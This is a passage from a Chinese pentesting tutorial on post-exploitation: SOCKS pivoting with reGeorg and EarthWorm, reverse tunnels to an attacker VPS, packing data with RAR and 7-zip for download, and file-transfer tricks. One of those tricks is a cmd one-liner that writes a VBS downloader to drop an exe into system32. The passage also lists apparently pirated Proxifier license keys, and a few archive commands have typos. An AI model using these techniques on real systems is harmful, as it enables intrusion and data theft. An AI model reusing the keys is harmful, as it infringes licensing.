reGeorg 可以使目标服务器在内网中 (或者在设置了端口策略的情况下) 连接内部开放端口。reGeorg 利用 webshell 建立一个 SOCKS 代理进行内网穿透,服务器必须支持 ASPX、PHP、JSP 中的一种。

下载 —–> here

3.sSocks

sSocks 是一个 SOCKS 代理工具套装,可用来开启 SOCKS 代理服务。sSocks 支持 SOCKS 5 验证,支持 IPv6 和 UDP,并提供反向 SOCKS 代理服务 (将远程计算机作为 SOCKS 代理服务端反弹到本地)。

4.SocksCap64

SocksCap64 是一款在 Windows 环境中相当好用的全局代理软件。

SocksCap64 可以使 Windows 应用程序通过 SOCKS 代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持 SOCKS 代理的应用程序,也可以通过 SocksCap64 实现代理访问。

下载 —–> here

5.Proxifier

proxifier 也是一款非常好用的全局代理软件.提供了跨平台的端口转发和代理功能,适用于 windwos , linux , macos 等平台。

下载 —–> here

注册码:

L6Z8A-XY2J4-BTZ3P-ZZ7DF-A2Q9C(Portable Edition)

5EZ8G-C3WL5-B56YG-SCXM9-6QZAP(Standard Edition)

P427L-9Y552-5433E-8DSR3-58Z68(MAC)

6.Proxychains

Proxychains 是一款可以在 Linux 下实现全局代理的软件,性能稳定,可靠,可以使任何程序通过代理上网,允许 TCP 和 DNS 流量通过代理隧道,支持 HTTP, SOCKS 4 , SOCKS 5 类型的代理服务器 。

下载 —–> here

EarthWorm 应用

实验环境:左侧是个人计算机 (内网) 和一台有公网 IP 地址的 VPS,右侧是一个小型内网。假设已经获得了一台 web 服务器的权限,服务器的内网 IP 地址为 192.168.78.131。

其中,由我们控制的 web 服务器是连接外网和内网的关键节点,内网其他服务器之间均不能直接连接。

借个图,当然数据是不一样的:

gL5AMQ.png

目前 EW 工具提供了六种链路状态,可通过 -s 参数进行选定,分别为:ssocksd, rcsocks, rssocks, lcx_slave, lcx_tran, lcx_listen。

其中,用于普通网络环境的正向连接命令是 ssocksd;

用于反弹连接命令的是 rcsocks, rssocks;

其他命令用于复杂网络环境的多级级联。

我的实验环境:

A: win7 192.168.78.128 攻击机

B: Kali2 192.168.78.131 192.168.1.10 中间机

C: Kali 192.168.1.11 目标机

(1)正向 SOCKS 5 服务器。

先通过 netcat 将ew_for_linux文件传输到中间机 (这里使用的是服务端向客户端传送,客户端给服务端传送的数据是空的!)。

适用于有公网 IP 的情况 (在中间机上执行):

./ew_for_linux -s ssocksd -l 1080

gX8iT0.png

执行命令即可架设一个端口为 1080 的 SOCKS 代理,使用全局代理软件 (proxifier, SocksCap64) 添加这个 IP 的代理即可(也可以在浏览器上设置代理访问),设置完代理后在 A 上访问 C :

gX8ZpF.png

(2)反弹 SOCKS 5 服务器

用于中间机器没有公网 IP 情况下,我们利用它访问内网资源。

在公网 VPS 上运行:(攻击机)

ew_for_win.exe -s rcsocks -l 1080 -e 8888

gXJrQg.png

意为在公网 VPS 上添加一个转接隧道,把 1080 端口的收到的代理请求转发给 8888 端口。

然后在中间机上执行:

./ew_for_linux -s rssocks -d VPSip -e 8888

gXJsyQ.png

意为在中间机上启动 SOCKS 5 服务,然后反弹到 VPS 的8888端口。

这样就可以用 VPS:1080 架设的 SOCKS 5 代理服务访问目标机器。

公网 VPS 这边在中间机执行后,会收到消息,返回🆗。

gXYNX4.png

在攻击机上访问,可以看到成功访问:

gXJhWT.png

(3)二级网络环境

……我实验已经包含了。

三级网络环境其实同理,就是多了一层代理。

压缩数据

渗透测试中,下载数据是一项重要的工作。

下载数据之前先压缩可以减少时间成本,可以使用 RAR 或 7-zip 进行压缩。

RAR

RAR 是一种专利文件格式,用于数据的压缩与打包。

WinRAR 是一款功能强大的文件压缩/解压缩工具,支持绝大多数的压缩文件格式。WinRAR 提供了强力压缩、分卷、加密和自解压模块,简单易用。

  • -a:添加要压缩的文件。
  • -k:锁定压缩文件。
  • -s:生成存档文件 (这样可以提高压缩比)。
  • -p:指定压缩密码。
  • -r:递归压缩,包括子目录。
  • -x:指定要排除的文件。
  • -v:分卷打包,在打包大文件时用处很大。
  • -ep:从名称中排除路径。
  • -ep1:从名称中排除基本目录。
  • -m0:存储,添加到压缩文件时不压缩文件。
  • -m1:最快,使用最快压缩方式 (压缩比低)。
  • -m2:较快,使用快速压缩方式。
  • -m3:标准,使用标准压缩 (默认)。
  • -m4:较好,使用较强压缩方式 (速度较慢)。
  • -m5:最好,使用最强压缩方式。
1.以 RAR 格式压缩/解压

把 E:\webs\ 目录下所有内容打包为 1.rar,放到 E:\webs\ 目录下:

Rar.exe a -k -r -s -m3 E:\webs\1.ara E:\webs

解压,将刚刚打包的文件解压到当前根目录下:

Rar.exe e E:\webs\1.rar
  • e:解压到当前根目录下。
  • x:以绝对路径解压。
2.分卷压缩/解压

分卷压缩 E 盘 API 目录下的所有文件及文件夹 (使用 -r 参数进行递归压缩),设置每个分卷为 20MB,结构为 test.part1.rar、test.part2.rar, test.part3.rar……命令:

Rar.exe a -m0 -r -v20m E:\test.rar E:\API

解压:将 E:\test.part1.rar 解压到 E 盘的 xl 目录下

Rar.exe x E:\test.part1.rar E:\xl

7-zip

7-zip 是一款免费开源的压缩软件。有更高的压缩比,对系统资源的消耗较少。

7-zip 常见参数:

  • -r:递归压缩。
  • -o:指定输出目录。
  • -p:指定密码。
  • -v:分卷压缩。
  • a:添加压缩文件。
1.普通压缩/解压方式

把 E:\webs\ 目录下的所有内容打包为 1.7z,放到 E:\webs\ 目录下,压缩密码为 “1234”:

7z.exe a -r -p1234 E:\webs\1.7z E:\webs\

解压:解压到 E:\x 目录下

7z.exe x -p1234 E:\webs\1.7z -oE:\x
2.分卷压缩/解压方式

分卷压缩 E 盘 API 目录下的所有文件及文件夹 (使用 -r 参数进行递归压缩),指定压缩密码为 “admin”,设置每个分卷为 20MB,结构为 test.7z.rar、test.7z.rar, test.7z.rar……命令:

7z.exe -r -v1m -padmin a E:\test.1z E:\API

解压:将 E:\test.7z.1 解压到 E:\xl 目录下:

7z.exe x -padmin E:\test.7z.1 -oE:\xl

上传和下载

对于不能上传 shell,但是可以执行命令的 Windows 服务器 (而且唯一的入口就是命令环境),可以在 shell 命令行环境中对目标服务器进行上传和下载操作。

利用 FTP 协议上传

在本地或者 VPS 上搭建 FTP 服务器,通过简单的 FTP 命令即可实现文件的上传。

ftp [-v] [-d] [-i] [-n] [-g] [-k realm] [-x] [-u] [host]

ftp 命令主要选项说明:

选项 说明
-d 启动调试模式。
-u 关闭自动认证。
-e 不记录历史指令。
-i 关闭交互模式。
-x 在成功认证之后,协商密钥。
-n 关闭自动登录功能。
-p 传输文件模式为被动模式。
-v 程序运行时,显示详细的处理信息。
-k realm 使用Kerberos v4认证时,从realm中得到信息。
host FTP服务器的主机名/IP地址。

常见 ftp 内部命令及其说明:

内部命令 说明
ls 显示服务器上的目录
get 从服务器下载指定文件到客户端
put 从客户端传送指定文件到服务器
open 连接ftp服务器
quit 断开连接并退出ftp服务器
cd directory 改变服务器的当前目录为directory
lcd directory 改变本地的当前目录为directory
bye 退出ftp命令状态
ascii 设置文件传输方式为ASCII模式
binary 设置文件传输方式为二进制模式
执行本地主机命令
cd 切换远端ftp服务器上的目录
cdup 上一层目录
close 在不结束ftp进程的情况下,关闭与ftp服务器的连接
delete 删除远端ftp服务器上的文件
get 下载
hash 显示#表示下载进度
mdelete 删除文件,模糊匹配
mget 下载文件,模糊匹配
mput 上传文件,模糊匹配
mkdir 在远端ftp服务器上,建立文件夹
newer 下载时,检测是不是新文件
prompt 关闭交互模式
put 上传
pwd 显示当前目录

详解 —–> here

利用 VBS 上传

利用 VBS 上传,主要使用的是 msxm12.xmlhttp 和 adodb.stream 对象。

在 cmd 下输入:

echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://xxx/xxx/wget.exe^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"C:\windows\system32\wget.exe^",2 >down.vbs

然后运行:

cscript down.vbs

利用 Debug 上传

Debug 是一个程序调试工具。利用 Debug 上传文件的原理是:

先将需要上传的 EXE 文件转换为十六进制 HEX 的形式,再通过 echo 命令将 HEX 代码写入文件,最后利用 Debug 功能将 HEX 代码编译并还原成 EXE 文件。

详细 —–> here

利用 Nishang 上传

详细 —–> here

利用 bitsadmin 下载

详细 —–>……

利用 powershell 下载

详细 —–> here